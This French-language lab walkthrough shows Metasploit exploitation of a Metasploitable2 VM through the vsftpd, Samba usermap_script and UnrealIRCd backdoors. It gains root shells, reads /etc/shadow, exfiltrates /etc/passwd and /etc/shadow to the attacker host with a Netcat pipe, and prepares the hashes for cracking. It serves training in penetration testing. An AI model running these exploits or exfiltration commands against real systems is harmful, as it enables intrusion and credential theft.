
Walkthrough complet d'exploitation avec Metasploit contre Metasploitable2 — backdoor vsftpd, Samba CVE-2007-2447, backdoor UnrealIRCd, exfiltration Netcat et préparation au craquage d'identifiants.
Un guide pratique pas à pas de l'exploitation à l'aide du Metasploit Framework — de la configuration de la base de données PostgreSQL et du scan db_nmap, en passant par trois shells root obtenus via vsftpd, Samba et UnrealIRCd, jusqu'à l'exfiltration d'identifiants avec Netcat.
Ce dépôt documente une campagne Metasploit complète contre Metasploitable2 dans un laboratoire VirtualBox isolé. Sujets abordés :
db_nmap pour enregistrer les résultats de scan directement dans la base de donnéesusermap_script)/etc/passwd et /etc/shadow via Netcat et fusion avec unshadow| Machine | Rôle | Adresse IP |
|---|---|---|
| Kali Linux 2026.1 | Attaquant | 192.168.1.4 |
| Metasploitable2 | Cible | 192.168.1.3 |
Réseau : 192.168.1.0/24 — réseau NAT entièrement isolé dans VirtualBox.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Deux serveurs FTP trouvés sur Metasploitable2 :
| Port | Service | Infos |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
En juillet 2011, l'archive source de vsftpd 2.3.4 a été compromise — une porte dérobée a été insérée et ouvre un shell root sur le port 6200 lorsque le nom d'utilisateur FTP contient :). CVE : CVE-2011-2523. Diff de code : https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extraction des mots de passe hachés :
cat /etc/shadow | grep '$1'

Les versions Samba 3.0.0–3.0.25rc3 transmettent directement à /bin/sh les méta-caractères du shell contenus dans le champ nom d'utilisateur, via l'option username map script — avant même que l'authentification ait lieu. Metasploitable2 exécute Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Onglet 2 — Kali (réception) :
nc -l -p 4567 > passwd.txt
Onglet 1 — Shell de l'exploit (envoi) :
cat /etc/passwd | nc 192.168.1.4 4567


Répétez l'opération pour /etc/shadow, puis fusionnez :
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 a été distribué avec une porte dérobée dans son code source. L'envoi de AB sur le port 6667 amène le serveur à exécuter toute commande suivante en tant que root — aucune authentification n'est requise.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Options requises :
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info avant exploit est une habitude à prendre — cela affiche le CVE, les versions affectées et les options requises| Option | Valeur | Description |
|---|
| RHOSTS | 192.168.1.3 | IP de la cible |
| RPORT | 6667 | Port IRC par défaut |
| LHOST | 192.168.1.4 | IP d'écoute de Kali |
| payload | cmd/unix/bind_netcat | Bind shell via Netcat |
| Erreur | Ce qui se produit | Solution |
|---|
Ignorer msfdb init | Pas de base de données — les résultats de scan ne sont pas enregistrés | Exécutez sudo msfdb init une fois avant la première utilisation |
Ne pas définir LHOST | Le shell inverse n'a nulle part où se connecter en retour | Définissez toujours LHOST sur l'IP de votre Kali |
Exécuter msfdb init à chaque session | Écrase les données existantes | Exécutez-le une seule fois ; vérifiez avec sudo msfdb status |
| Mauvais RPORT | L'exploit échoue silencieusement | Confirmez le port avec services avant de le définir |
| Fermer l'écouteur Netcat trop tôt | Transfert de fichier tronqué | Attendez un moment après la commande avec pipe avant CTRL-C |
Ignorer unshadow | Les craqueurs de mots de passe rejettent le format à fichiers séparés | Fusionnez toujours d'abord passwd + shadow |